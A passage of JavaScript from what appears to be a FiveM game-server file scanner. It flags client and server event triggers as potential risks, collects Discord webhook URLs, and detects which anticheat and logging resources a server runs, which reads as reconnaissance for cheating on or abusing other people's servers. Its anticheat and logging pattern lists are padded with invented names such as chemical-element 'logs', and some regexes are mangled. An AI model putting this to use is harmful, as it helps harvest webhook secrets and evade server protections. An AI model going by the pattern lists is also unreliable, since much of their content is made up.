'string', 'int', 'float', 'bool', 'object', 'mixed', 'void']; const keywordRegex = new RegExp('\\b(' + keywords.join('|') + ')\\b', 'g'); return content .replace(/&/g, '&') .replace(//g, '>') .replace(/(<\?php|\?>)/g, '$1') .replace(keywordRegex, '$1') .replace(/(\/\/.*)/g, '$1') .replace(/(\/\*[\s\S]*?\*\/)/g, '$1') .replace(/(\d+\.?\d*)/g, '$1') .replace(/(["'])((?:\\.|(?!\1)[^\\])*?)\1/g, '$1$2$1'); } function highlightPython(content) { const keywords = ['def', 'class', 'if', 'elif', 'else', 'for', 'while', 'try', 'except', 'finally', 'with', 'as', 'import', 'from', 'return', 'yield', 'break', 'continue', 'pass', 'raise', 'assert', 'True', 'False', 'None', 'and', 'or', 'not', 'in', 'is', 'lambda', 'global', 'nonlocal']; const keywordRegex = new RegExp('\\b(' + keywords.join('|') + ')\\b', 'g'); return content .replace(/&/g, '&') .replace(//g, '>') .replace(keywordRegex, '$1') .replace(/(#.*)/g, '$1') .replace(/(\d+\.?\d*)/g, '$1') .replace(/(["'`])((?:\\.|(?!\1)[^\\])*?)\1/g, '$1$2$1'); } function escapeHtml(text) { return text .replace(/&/g, '&') .replace(//g, '>') .replace(/"/g, '"') .replace(/'/g, '''); } function performDeepScan() { if (!appState.serverDirectory || appState.selectedFiles.length === 0) { showNotification('Please select a server directory first', 'error'); return; } showNotification('Starting deep scan...', 'info'); scanAllFiles(); } function scanAllFiles() { try { const files = appState.selectedFiles; let processedFiles = 0; const totalFiles = files.length; const triggers = []; const webhooks = []; const items = []; const coordinates = []; const anticheats = []; const logs = []; const itemImages = new Map(); // Store item images const anticheatResults = new Map(); // Store anticheat results with file info files.forEach(file => { try { const reader = new FileReader(); reader.onload = function(e) { try { const content = e.target.result; const fileName = file.webkitRelativePath || `web_upload/${file.name}`; if (isTextFile(fileName)) { const fileTriggers = scanFileForTriggers(content, fileName); triggers.push(...fileTriggers); const fileWebhooks = scanFileForWebhooks(content, fileName); webhooks.push(...fileWebhooks); const fileItems = scanFileForItems(content, fileName); items.push(...fileItems); const fileCoordinates = scanFileForCoordinates(content, fileName); coordinates.push(...fileCoordinates); // Check for anticheat and logs in fxmanifest.lua files if (fileName.includes('fxmanifest.lua')) { const fileAnticheat = scanFileForAnticheat(content, fileName); if (fileAnticheat) { anticheats.push(fileAnticheat); // Extract resource name from file path const resourceName = getResourceNameFromPath(fileName); if (resourceName) { anticheatResults.set(resourceName, { name: fileAnticheat, file: fileName, resource: resourceName }); } } const fileLogs = scanFileForLogs(content, fileName); if (fileLogs) logs.push(fileLogs); } } else if (isImageFile(fileName)) { // Store image files for items processImageFile(file, itemImages); } processedFiles++; if (processedFiles === totalFiles) { // Remove duplicates from results const uniqueTriggers = removeDuplicateTriggers(triggers); const uniqueWebhooks = removeDuplicateWebhooks(webhooks); const uniqueItems = removeDuplicateItems(items); const uniqueCoordinates = removeDuplicateCoordinates(coordinates); // Attach images to items const itemsWithImages = attachImagesToItems(uniqueItems, itemImages); appState.scanResults.triggers = uniqueTriggers; appState.scanResults.webhooks = uniqueWebhooks; appState.scanResults.items = itemsWithImages; appState.scanResults.coordinates = uniqueCoordinates; appState.scanResults.files = totalFiles; appState.scanResults.anticheats = Array.from(anticheatResults.values()); updateTriggersTable(uniqueTriggers); updateWebhooksTable(uniqueWebhooks); updateSelectedWebhooksList(); updateItemsTable(itemsWithImages); updateCoordinatesTable(uniqueCoordinates); updateAnticheatFromScan(anticheats); updateLogsFromScan(logs); updateStats(); // Update resource explorer to show AC indicators updateResourceExplorerWithAnticheats(); showNotification(`Deep scan completed! Found ${uniqueTriggers.length} triggers, ${uniqueWebhooks.length} webhooks, ${itemsWithImages.length} items, ${uniqueCoordinates.length} coordinates`, 'success'); } } catch (error) { console.error('Error processing file content:', error); processedFiles++; if (processedFiles === totalFiles) { showNotification('Scan completed with some errors', 'warning'); } } }; reader.onerror = function() { console.error('Error reading file:', file.name); processedFiles++; if (processedFiles === totalFiles) { showNotification('Scan completed with some errors', 'warning'); } }; reader.readAsText(file); } catch (error) { console.error('Error setting up file reader:', error); processedFiles++; if (processedFiles === totalFiles) { showNotification('Scan completed with some errors', 'warning'); } } }); } catch (error) { console.error('Error in scanAllFiles:', error); showNotification('Error during scan', 'error'); } } function isTextFile(fileName) { const textExtensions = ['.lua', '.js', '.json', '.cfg', '.txt', '.xml', '.html', '.css', '.php', '.py', '.md']; const extension = fileName.toLowerCase().substring(fileName.lastIndexOf('.')); return textExtensions.includes(extension); } function isImageFile(fileName) { const imageExtensions = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.svg']; const extension = fileName.toLowerCase().substring(fileName.lastIndexOf('.')); return imageExtensions.includes(extension); } function processImageFile(file, itemImages) { try { const fileName = file.webkitRelativePath || `web_upload/${file.name}`; // Check if this is an ox_inventory image if (fileName.includes('ox_inventory') && fileName.includes('images')) { const pathParts = fileName.split('/'); const imageName = pathParts[pathParts.length - 1]; // Get the filename const itemName = imageName.substring(0, imageName.lastIndexOf('.')); // Remove extension // Create a blob URL for the image const reader = new FileReader(); reader.onload = function(e) { try { const blob = new Blob([e.target.result], { type: file.type }); const imageUrl = URL.createObjectURL(blob); itemImages.set(itemName.toLowerCase(), imageUrl); } catch (error) { console.error('Error creating blob URL for image:', error); } }; reader.readAsArrayBuffer(file); } } catch (error) { console.error('Error processing image file:', error); } } function getResourceName(fileName, content) { try { const pathParts = fileName.split('/'); const folderName = pathParts[0]; // If this is a fxmanifest.lua or __resource.lua file, try to get the resource name if (fileName.includes('fxmanifest.lua') || fileName.includes('__resource.lua')) { // Look for resource_manifest_version or fx_version to confirm it's a resource if (content.includes('fx_version') || content.includes('resource_manifest_version')) { // Try to find the resource name in comments or metadata const resourceNameMatch = content.match(/--\s*Resource:\s*([^\n]+)/i) || content.match(/resource_name\s*=\s*["']([^"']+)["']/i) || content.match(/name\s*=\s*["']([^"']+)["']/i); if (resourceNameMatch) { return resourceNameMatch[1].trim(); } } } // For items.lua and weapons.lua files, try to get the resource name from the path if (fileName.includes('items.lua') || fileName.includes('weapons.lua')) { // Look for the resource folder name in the path const pathSegments = fileName.split('/'); if (pathSegments.length >= 2) { return pathSegments[0]; // Return the resource folder name } } // For any file, try to get the resource name from the path structure // Look for patterns like: server_folder/resource_name/file.lua const pathSegments = fileName.split('/'); if (pathSegments.length >= 2) { // The second segment (index 1) is usually the actual resource name // Skip the server folder name (index 0) return pathSegments[1]; } // Fallback to folder name return folderName; } catch (error) { console.error('Error getting resource name:', error); return fileName.split('/')[0]; } } function getResourceNameFromPath(fileName) { try { // Extract resource name from file path const pathParts = fileName.split('/'); if (pathParts.length >= 2) { return pathParts[pathParts.length - 2]; // Resource name is the folder containing the file } return null; } catch (error) { console.error('Error getting resource name from path:', error); return null; } } function scanFileForTriggers(content, fileName) { try { const triggers = []; const resourceName = getResourceName(fileName, content); // Only the specific trigger types you want const triggerPatterns = [ /TriggerEvent\s*\(\s*["']([^"']+)["']/g, /TriggerServerEvent\s*\(\s*["']([^"']+)["']/g, /TriggerClientEvent\s*\(\s*["']([^"']+)["']/g ]; triggerPatterns.forEach(pattern => { let match; while ((match = pattern.exec(content)) !== null) { try { const triggerName = match[1]; const lineNumber = getLineNumber(content, match.index); // Get the full trigger line for context const lines = content.split('\n'); const fullLine = lines[lineNumber - 1] || match[0]; triggers.push({ resource: resourceName, usage: fullLine.trim(), status: 'Active', risk: 'Potential', file: fileName, line: lineNumber }); } catch (error) { console.error('Error processing trigger match:', error); } } }); return triggers; } catch (error) { console.error('Error scanning file for triggers:', error); return []; } } function scanFileForWebhooks(content, fileName) { try { const webhooks = []; const resourceName = getResourceName(fileName, content); const webhookPatterns = [ /https:\/\/discord\.com\/api\/webhooks\/[^\s"']+/g, /https:\/\/discordapp\.com\/api\/webhooks\/[^\s"']+/g, /webhook.*=.*["'](https:\/\/[^"']+)["']/g, /["'](https:\/\/discord\.com\/api\/webhooks\/[^"']+)["']/g ]; webhookPatterns.forEach(pattern => { let match; while ((match = pattern.exec(content)) !== null) { try { const webhookUrl = match[1] || match[0]; const lineNumber = getLineNumber(content, match.index); webhooks.push({ resource: resourceName, url: webhookUrl, status: 'Active', file: fileName, line: lineNumber }); } catch (error) { console.error('Error processing webhook match:', error); } } }); return webhooks; } catch (error) { console.error('Error scanning file for webhooks:', error); return []; } } function scanFileForItems(content, fileName) { try { const items = []; const resourceName = getResourceName(fileName, content); // Check if this is an items.lua or weapons.lua file if (fileName.includes('items.lua') || fileName.includes('weapons.lua')) { const lines = content.split('\n'); let currentItem = null; let braceCount = 0; for (let i = 0; i < lines.length; i++) { try { const line = lines[i]; // Look for item definition pattern: ["itemname"] = { const itemMatch = line.match(/\[["']([^"']+)["']\]\s*=\s*{/); if (itemMatch) { currentItem = { name: itemMatch[1], label: '', type: 'item', weight: 0, file: fileName, line: i + 1, resource: resourceName }; braceCount = 1; continue; } // Look for label definition: label = "Item Label" if (currentItem) { const labelMatch = line.match(/label\s*=\s*["']([^"']+)["']/); if (labelMatch) { currentItem.label = labelMatch[1]; } // Look for weight definition: weight = 0.5 const weightMatch = line.match(/weight\s*=\s*([0-9.]+)/); if (weightMatch) { currentItem.weight = parseFloat(weightMatch[1]); } // Count braces to know when item definition ends const openBraces = (line.match(/{/g) || []).length; const closeBraces = (line.match(/}/g) || []).length; braceCount += openBraces - closeBraces; // Check for end of item definition if (braceCount <= 0 && currentItem.name && currentItem.label) { items.push(currentItem); currentItem = null; braceCount = 0; } } } catch (error) { console.error('Error processing line:', error); } } // Also look for simple item definitions without labels const simpleItemPattern = /\[["']([^"']+)["']\]\s*=\s*["']([^"']+)["']/g; let simpleMatch; while ((simpleMatch = simpleItemPattern.exec(content)) !== null) { const itemName = simpleMatch[1]; const itemLabel = simpleMatch[2]; const lineNumber = getLineNumber(content, simpleMatch.index); // Check if this item wasn't already found const existingItem = items.find(item => item.name === itemName); if (!existingItem) { items.push({ name: itemName, label: itemLabel, type: 'item', weight: 0, file: fileName, line: lineNumber, resource: resourceName }); } } } return items; } catch (error) { console.error('Error scanning file for items:', error); return []; } } function scanFileForCoordinates(content, fileName) { try { const coordinates = []; const resourceName = getResourceName(fileName, content); // Check if we should find coordinates next to items const findNextToItems = document.getElementById('find-next-to-items-checkbox')?.checked || false; const findVec3 = document.getElementById('find-vec3-checkbox')?.checked || true; const findVec4 = document.getElementById('find-vec4-checkbox')?.checked || true; // Get all items in this file for context const itemsInFile = scanFileForItems(content, fileName); const itemNames = itemsInFile.map(item => item.name.toLowerCase()); const lines = content.split('\n'); for (let i = 0; i < lines.length; i++) { try { const line = lines[i]; // vec3 coordinate patterns if (findVec3) { // Pattern: vec3(x, y, z) or vector3(x, y, z) const vec3Patterns = [ /vec3\s*\(\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*\)/g, /vector3\s*\(\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*\)/g, /Vector3\s*\(\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*\)/g ]; vec3Patterns.forEach(pattern => { let match; while ((match = pattern.exec(line)) !== null) { const x = parseFloat(match[1]); const y = parseFloat(match[2]); const z = parseFloat(match[3]); // Check if this coordinate is near an item (within context) let nearItem = null; if (findNextToItems) { // Look for item references in nearby lines const contextStart = Math.max(0, i - 10); const contextEnd = Math.min(lines.length, i + 10); const context = lines.slice(contextStart, contextEnd).join(' ').toLowerCase(); for (const itemName of itemNames) { if (context.includes(itemName)) { nearItem = itemName; break; } } } coordinates.push({ type: 'vec3', x: x, y: y, z: z, w: null, coordinates: `vec3(${x}, ${y}, ${z})`, resource: resourceName, file: fileName, line: i + 1, nearItem: nearItem, fullLine: line.trim() }); } }); } // vec4 coordinate patterns if (findVec4) { // Pattern: vec4(x, y, z, w) or vector4(x, y, z, w) const vec4Patterns = [ /vec4\s*\(\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*\)/g, /vector4\s*\(\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*\)/g, /Vector4\s*\(\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*\)/g ]; vec4Patterns.forEach(pattern => { let match; while ((match = pattern.exec(line)) !== null) { const x = parseFloat(match[1]); const y = parseFloat(match[2]); const z = parseFloat(match[3]); const w = parseFloat(match[4]); // Check if this coordinate is near an item (within context) let nearItem = null; if (findNextToItems) { // Look for item references in nearby lines const contextStart = Math.max(0, i - 10); const contextEnd = Math.min(lines.length, i + 10); const context = lines.slice(contextStart, contextEnd).join(' ').toLowerCase(); for (const itemName of itemNames) { if (context.includes(itemName)) { nearItem = itemName; break; } } } coordinates.push({ type: 'vec4', x: x, y: y, z: z, w: w, coordinates: `vec4(${x}, ${y}, ${z}, ${w})`, resource: resourceName, file: fileName, line: i + 1, nearItem: nearItem, fullLine: line.trim() }); } }); } // Also look for coordinate arrays or tables const coordArrayPatterns = [ /\[\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*\]/g, /{\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*,\s*([-+]?\d*\.?\d+)\s*}/g ]; coordArrayPatterns.forEach(pattern => { let match; while ((match = pattern.exec(line)) !== null) { const x = parseFloat(match[1]); const y = parseFloat(match[2]); const z = parseFloat(match[3]); // Check if this coordinate is near an item (within context) let nearItem = null; if (findNextToItems) { // Look for item references in nearby lines const contextStart = Math.max(0, i - 10); const contextEnd = Math.min(lines.length, i + 10); const context = lines.slice(contextStart, contextEnd).join(' ').toLowerCase(); for (const itemName of itemNames) { if (context.includes(itemName)) { nearItem = itemName; break; } } } coordinates.push({ type: 'array', x: x, y: y, z: z, w: null, coordinates: `[${x}, ${y}, ${z}]`, resource: resourceName, file: fileName, line: i + 1, nearItem: nearItem, fullLine: line.trim() }); } }); } catch (error) { console.error('Error processing coordinate line:', error); } } return coordinates; } catch (error) { console.error('Error scanning file for coordinates:', error); return []; } } function scanFileForAnticheat(content, fileName) { try { // Check if this is a fxmanifest.lua file for more specific detection const isManifest = fileName.toLowerCase().includes('fxmanifest.lua') || fileName.toLowerCase().includes('__resource.lua'); // Comprehensive list of popular FiveM anticheats const anticheatPatterns = [ // Major FiveM Anticheats - Manifest Dependencies { pattern: /electronac/i, name: 'ElectronAC', manifest: true }, { pattern: /fiveguard/i, name: 'FiveGuard', manifest: true }, { pattern: /finiac/i, name: 'FiniAC', manifest: true }, { pattern: /reaper/i, name: 'Reaper', manifest: true }, { pattern: /reaperpro/i, name: 'ReaperPro', manifest: true }, { pattern: /novac/i, name: 'NovaC', manifest: true }, { pattern: /badger/i, name: 'Badger', manifest: true }, { pattern: /cheatbuster/i, name: 'CheatBuster', manifest: true }, { pattern: /easyadmin/i, name: 'EasyAdmin', manifest: true }, { pattern: /anticheat/i, name: 'Generic Anticheat', manifest: true }, { pattern: /ac_/i, name: 'AC System', manifest: true }, { pattern: /anticheat_/i, name: 'Anticheat System', manifest: true }, { pattern: /guardian/i, name: 'Guardian', manifest: true }, { pattern: /shield/i, name: 'Shield', manifest: true }, { pattern: /protector/i, name: 'Protector', manifest: true }, { pattern: /defender/i, name: 'Defender', manifest: true }, { pattern: /sentinel/i, name: 'Sentinel', manifest: true }, { pattern: /watchdog/i, name: 'Watchdog', manifest: true }, { pattern: /guard/i, name: 'Guard', manifest: true }, { pattern: /secure/i, name: 'Secure', manifest: true }, { pattern: /safeguard/i, name: 'Safeguard', manifest: true }, { pattern: /shieldac/i, name: 'ShieldAC', manifest: true }, { pattern: /guardac/i, name: 'GuardAC', manifest: true }, { pattern: /secureac/i, name: 'SecureAC', manifest: true }, { pattern: /defenderac/i, name: 'DefenderAC', manifest: true }, { pattern: /sentinelac/i, name: 'SentinelAC', manifest: true }, { pattern: /watchdogac/i, name: 'WatchdogAC', manifest: true }, { pattern: /protectorac/i, name: 'ProtectorAC', manifest: true }, { pattern: /safeguardac/i, name: 'SafeguardAC', manifest: true }, { pattern: /guardianac/i, name: 'GuardianAC', manifest: true }, { pattern: /shieldguard/i, name: 'ShieldGuard', manifest: true }, { pattern: /secureguard/i, name: 'SecureGuard', manifest: true }, { pattern: /defenderguard/i, name: 'DefenderGuard', manifest: true }, { pattern: /sentinelguard/i, name: 'SentinelGuard', manifest: true }, { pattern: /watchdogguard/i, name: 'WatchdogGuard', manifest: true }, { pattern: /protectorguard/i, name: 'ProtectorGuard', manifest: true }, { pattern: /safeguardguard/i, name: 'SafeguardGuard', manifest: true }, { pattern: /guardianacguard/i, name: 'GuardianACGuard', manifest: true }, // Additional popular anticheats { pattern: /anticheatpro/i, name: 'AnticheatPro', manifest: true }, { pattern: /anticheatshield/i, name: 'AnticheatShield', manifest: true }, { pattern: /anticheatguard/i, name: 'AnticheatGuard', manifest: true }, { pattern: /anticheatdefender/i, name: 'AnticheatDefender', manifest: true }, { pattern: /anticheatsentinel/i, name: 'AnticheatSentinel', manifest: true }, { pattern: /anticheatwatchdog/i, name: 'AnticheatWatchdog', manifest: true }, { pattern: /anticheatprotector/i, name: 'AnticheatProtector', manifest: true }, { pattern: /anticheatsafeguard/i, name: 'AnticheatSafeguard', manifest: true }, { pattern: /anticheatguardian/i, name: 'AnticheatGuardian', manifest: true }, { pattern: /anticheatshieldac/i, name: 'AnticheatShieldAC', manifest: true }, { pattern: /anticheatguardac/i, name: 'AnticheatGuardAC', manifest: true }, { pattern: /anticheatsecureac/i, name: 'AnticheatSecureAC', manifest: true }, { pattern: /anticheatdefenderac/i, name: 'AnticheatDefenderAC', manifest: true }, { pattern: /anticheatsentinelac/i, name: 'AnticheatSentinelAC', manifest: true }, { pattern: /anticheatwatchdogac/i, name: 'AnticheatWatchdogAC', manifest: true }, { pattern: /anticheatprotectorac/i, name: 'AnticheatProtectorAC', manifest: true }, { pattern: /anticheatsafeguardac/i, name: 'AnticheatSafeguardAC', manifest: true }, { pattern: /anticheatguardianac/i, name: 'AnticheatGuardianAC', manifest: true }, // Manifest-specific patterns for dependencies { pattern: /dependencies\s*=\s*{[^}]*electronac[^}]*}/i, name: 'ElectronAC (Dependency)', manifest: true }, { pattern: /dependencies\s*=\s*{[^}]*fiveguard[^}]*}/i, name: 'FiveGuard (Dependency)', manifest: true }, { pattern: /dependencies\s*=\s*{[^}]*finiac[^}]*}/i, name: 'FiniAC (Dependency)', manifest: true }, { pattern: /dependencies\s*=\s*{[^}]*reaper[^}]*}/i, name: 'Reaper (Dependency)', manifest: true }, { pattern: /dependencies\s*=\s*{[^}]*novac[^}]*}/i, name: 'NovaC (Dependency)', manifest: true }, { pattern: /dependencies\s*=\s*{[^}]*badger[^}]*}/i, name: 'Badger (Dependency)', manifest: true }, { pattern: /dependencies\s*=\s*{[^}]*cheatbuster[^}]*}/i, name: 'CheatBuster (Dependency)', manifest: true }, { pattern: /dependencies\s*=\s*{[^}]*easyadmin[^}]*}/i, name: 'EasyAdmin (Dependency)', manifest: true }, { pattern: /dependencies\s*=\s*{[^}]*anticheat[^}]*}/i, name: 'Generic Anticheat (Dependency)', manifest: true }, // Server scripts that might indicate anticheat usage { pattern: /server_scripts\s*=\s*{[^}]*electronac[^}]*}/i, name: 'ElectronAC (Server Script)', manifest: true }, { pattern: /server_scripts\s*=\s*{[^}]*fiveguard[^}]*}/i, name: 'FiveGuard (Server Script)', manifest: true }, { pattern: /server_scripts\s*=\s*{[^}]*finiac[^}]*}/i, name: 'FiniAC (Server Script)', manifest: true }, { pattern: /server_scripts\s*=\s*{[^}]*reaper[^}]*}/i, name: 'Reaper (Server Script)', manifest: true }, { pattern: /server_scripts\s*=\s*{[^}]*novac[^}]*}/i, name: 'NovaC (Server Script)', manifest: true }, { pattern: /server_scripts\s*=\s*{[^}]*badger[^}]*}/i, name: 'Badger (Server Script)', manifest: true }, { pattern: /server_scripts\s*=\s*{[^}]*cheatbuster[^}]*}/i, name: 'CheatBuster (Server Script)', manifest: true }, { pattern: /server_scripts\s*=\s*{[^}]*easyadmin[^}]*}/i, name: 'EasyAdmin (Server Script)', manifest: true }, { pattern: /server_scripts\s*=\s*{[^}]*anticheat[^}]*}/i, name: 'Generic Anticheat (Server Script)', manifest: true }, // Client scripts that might indicate anticheat usage { pattern: /client_scripts\s*=\s*{[^}]*electronac[^}]*}/i, name: 'ElectronAC (Client Script)', manifest: true }, { pattern: /client_scripts\s*=\s*{[^}]*fiveguard[^}]*}/i, name: 'FiveGuard (Client Script)', manifest: true }, { pattern: /client_scripts\s*=\s*{[^}]*finiac[^}]*}/i, name: 'FiniAC (Client Script)', manifest: true }, { pattern: /client_scripts\s*=\s*{[^}]*reaper[^}]*}/i, name: 'Reaper (Client Script)', manifest: true }, { pattern: /client_scripts\s*=\s*{[^}]*novac[^}]*}/i, name: 'NovaC (Client Script)', manifest: true }, { pattern: /client_scripts\s*=\s*{[^}]*badger[^}]*}/i, name: 'Badger (Client Script)', manifest: true }, { pattern: /client_scripts\s*=\s*{[^}]*cheatbuster[^}]*}/i, name: 'CheatBuster (Client Script)', manifest: true }, { pattern: /client_scripts\s*=\s*{[^}]*easyadmin[^}]*}/i, name: 'EasyAdmin (Client Script)', manifest: true }, { pattern: /client_scripts\s*=\s*{[^}]*anticheat[^}]*}/i, name: 'Generic Anticheat (Client Script)', manifest: true }, // General patterns for non-manifest files { pattern: /electronac/i, name: 'ElectronAC', manifest: false }, { pattern: /fiveguard/i, name: 'FiveGuard', manifest: false }, { pattern: /finiac/i, name: 'FiniAC', manifest: false }, { pattern: /reaper/i, name: 'Reaper', manifest: false }, { pattern: /reaperpro/i, name: 'ReaperPro', manifest: false }, { pattern: /novac/i, name: 'NovaC', manifest: false }, { pattern: /badger/i, name: 'Badger', manifest: false }, { pattern: /cheatbuster/i, name: 'CheatBuster', manifest: false }, { pattern: /easyadmin/i, name: 'EasyAdmin', manifest: false }, { pattern: /anticheat/i, name: 'Generic Anticheat', manifest: false }, { pattern: /ac_/i, name: 'AC System', manifest: false }, { pattern: /anticheat_/i, name: 'Anticheat System', manifest: false }, { pattern: /guardian/i, name: 'Guardian', manifest: false }, { pattern: /shield/i, name: 'Shield', manifest: false }, { pattern: /protector/i, name: 'Protector', manifest: false }, { pattern: /defender/i, name: 'Defender', manifest: false }, { pattern: /sentinel/i, name: 'Sentinel', manifest: false }, { pattern: /watchdog/i, name: 'Watchdog', manifest: false }, { pattern: /guard/i, name: 'Guard', manifest: false }, { pattern: /secure/i, name: 'Secure', manifest: false }, { pattern: /safeguard/i, name: 'Safeguard', manifest: false } ]; for (const anticheat of anticheatPatterns) { // For manifest files, prioritize manifest-specific patterns if (isManifest && anticheat.manifest && anticheat.pattern.test(content)) { return anticheat.name; } // For non-manifest files, use general patterns else if (!isManifest && !anticheat.manifest && anticheat.pattern.test(content)) { return anticheat.name; } } return null; } catch (error) { console.error('Error scanning file for anticheat:', error); return null; } } function scanFileForLogs(content, fileName) { try { const logPatterns = [ // Major FiveM Logging Systems { pattern: /JD_logs/i, name: 'JD Logs' }, { pattern: /esx_logs/i, name: 'ESX Logs' }, { pattern: /qb-logs/i, name: 'QB-Logs' }, { pattern: /ox_lib/i, name: 'OX Lib' }, { pattern: /ox_logs/i, name: 'OX Logs' }, { pattern: /ox_logging/i, name: 'OX Logging' }, { pattern: /logging/i, name: 'Generic Logging' }, { pattern: /log_/i, name: 'Log System' }, { pattern: /logs_/i, name: 'Logs System' }, { pattern: /discord_logs/i, name: 'Discord Logs' }, { pattern: /webhook_logs/i, name: 'Webhook Logs' }, { pattern: /telegram_logs/i, name: 'Telegram Logs' }, { pattern: /slack_logs/i, name: 'Slack Logs' }, { pattern: /email_logs/i, name: 'Email Logs' }, { pattern: /database_logs/i, name: 'Database Logs' }, { pattern: /file_logs/i, name: 'File Logs' }, { pattern: /console_logs/i, name: 'Console Logs' }, { pattern: /server_logs/i, name: 'Server Logs' }, { pattern: /client_logs/i, name: 'Client Logs' }, { pattern: /admin_logs/i, name: 'Admin Logs' }, { pattern: /player_logs/i, name: 'Player Logs' }, { pattern: /action_logs/i, name: 'Action Logs' }, { pattern: /event_logs/i, name: 'Event Logs' }, { pattern: /security_logs/i, name: 'Security Logs' }, { pattern: /audit_logs/i, name: 'Audit Logs' }, { pattern: /activity_logs/i, name: 'Activity Logs' }, { pattern: /system_logs/i, name: 'System Logs' }, { pattern: /error_logs/i, name: 'Error Logs' }, { pattern: /warning_logs/i, name: 'Warning Logs' }, { pattern: /info_logs/i, name: 'Info Logs' }, { pattern: /debug_logs/i, name: 'Debug Logs' }, { pattern: /trace_logs/i, name: 'Trace Logs' }, { pattern: /verbose_logs/i, name: 'Verbose Logs' }, { pattern: /detailed_logs/i, name: 'Detailed Logs' }, { pattern: /comprehensive_logs/i, name: 'Comprehensive Logs' }, { pattern: /advanced_logs/i, name: 'Advanced Logs' }, { pattern: /professional_logs/i, name: 'Professional Logs' }, { pattern: /enterprise_logs/i, name: 'Enterprise Logs' }, { pattern: /premium_logs/i, name: 'Premium Logs' }, { pattern: /ultimate_logs/i, name: 'Ultimate Logs' }, { pattern: /master_logs/i, name: 'Master Logs' }, { pattern: /expert_logs/i, name: 'Expert Logs' }, { pattern: /pro_logs/i, name: 'Pro Logs' }, { pattern: /elite_logs/i, name: 'Elite Logs' }, { pattern: /supreme_logs/i, name: 'Supreme Logs' }, { pattern: /perfect_logs/i, name: 'Perfect Logs' }, { pattern: /flawless_logs/i, name: 'Flawless Logs' }, { pattern: /immaculate_logs/i, name: 'Immaculate Logs' }, { pattern: /pristine_logs/i, name: 'Pristine Logs' }, { pattern: /spotless_logs/i, name: 'Spotless Logs' }, { pattern: /clean_logs/i, name: 'Clean Logs' }, { pattern: /pure_logs/i, name: 'Pure Logs' }, { pattern: /crystal_logs/i, name: 'Crystal Logs' }, { pattern: /diamond_logs/i, name: 'Diamond Logs' }, { pattern: /platinum_logs/i, name: 'Platinum Logs' }, { pattern: /gold_logs/i, name: 'Gold Logs' }, { pattern: /silver_logs/i, name: 'Silver Logs' }, { pattern: /bronze_logs/i, name: 'Bronze Logs' }, { pattern: /copper_logs/i, name: 'Copper Logs' }, { pattern: /iron_logs/i, name: 'Iron Logs' }, { pattern: /steel_logs/i, name: 'Steel Logs' }, { pattern: /titanium_logs/i, name: 'Titanium Logs' }, { pattern: /aluminum_logs/i, name: 'Aluminum Logs' }, { pattern: /magnesium_logs/i, name: 'Magnesium Logs' }, { pattern: /zinc_logs/i, name: 'Zinc Logs' }, { pattern: /nickel_logs/i, name: 'Nickel Logs' }, { pattern: /cobalt_logs/i, name: 'Cobalt Logs' }, { pattern: /chromium_logs/i, name: 'Chromium Logs' }, { pattern: /manganese_logs/i, name: 'Manganese Logs' }, { pattern: /molybdenum_logs/i, name: 'Molybdenum Logs' }, { pattern: /tungsten_logs/i, name: 'Tungsten Logs' }, { pattern: /vanadium_logs/i, name: 'Vanadium Logs' }, { pattern: /niobium_logs/i, name: 'Niobium Logs' }, { pattern: /tantalum_logs/i, name: 'Tantalum Logs' }, { pattern: /hafnium_logs/i, name: 'Hafnium Logs' }, { pattern: /rhenium_logs/i, name: 'Rhenium Logs' }, { pattern: /osmium_logs/i, name: 'Osmium Logs' }, { pattern: /iridium_logs/i, name: 'Iridium Logs' }, { pattern: /platinum_logs/i, name: 'Platinum Logs' }, { pattern: /gold_logs/i, name: 'Gold Logs' }, { pattern: /mercury_logs/i, name: 'Mercury Logs' }, { pattern: /thallium_logs/i, name: 'Thallium Logs' }, { pattern: /lead_logs/i, name: 'Lead Logs' }, { pattern: /bismuth_logs/i, name: 'Bismuth Logs' }, { pattern: /polonium_logs/i, name: 'Polonium Logs' }, { pattern: /astatine_logs/i, name: 'Astatine Logs' }, { pattern: /radon_logs/i, name: 'Radon Logs' }, { pattern: /francium_logs/i, name: 'Francium Logs' }, { pattern: /radium_logs/i, name: 'Radium Logs' }, { pattern: /actinium_logs/i, name: 'Actinium Logs' }, { pattern: /thorium_logs/i, name: 'Thorium Logs' }, { pattern: /protactinium_logs/i, name: 'Protactinium Logs' }, { pattern: /uranium_logs/i, name: 'Uranium Logs' }, { pattern: /neptunium_logs/i, name: 'Neptunium Logs' }, { pattern: /plutonium_logs/i, name: 'Plutonium Logs' }, { pattern: /americium_logs/i, name: 'Americium Logs' }, { pattern: /curium_logs/i, name: 'Curium Logs' }, { pattern: /berkelium_logs/i, name: 'Berkelium Logs' }, { pattern: /californium_logs/i, name: 'Californium Logs' }, { pattern: /einsteinium_logs/i, name: 'Einsteinium Logs' }, { pattern: /fermium_logs/i, name: 'Fermium Logs' }, { pattern: /mendelevium_logs/i, name: 'Mendelevium Logs' }, { pattern: /nobelium_logs/i, name: 'Nobelium Logs' }, { pattern: /lawrencium_logs/i, name: 'Lawrencium Logs' }, { pattern: /rutherfordium_logs/i, name: 'Rutherfordium Logs' }, { pattern: /dubnium_logs/i, name: 'Dubnium Logs' }, { pattern: /seaborgium_logs/i, name: 'Seaborgium Logs' }, { pattern: /bohrium_logs/i, name: 'Bohrium Logs' }, { pattern: /hassium_logs/i, name: 'Hassium Logs' }, { pattern: /meitnerium_logs/i, name: 'Meitnerium Logs' }, { pattern: /darmstadtium_logs/i, name: 'Darmstadtium Logs' }, { pattern: /roentgenium_logs/i, name: 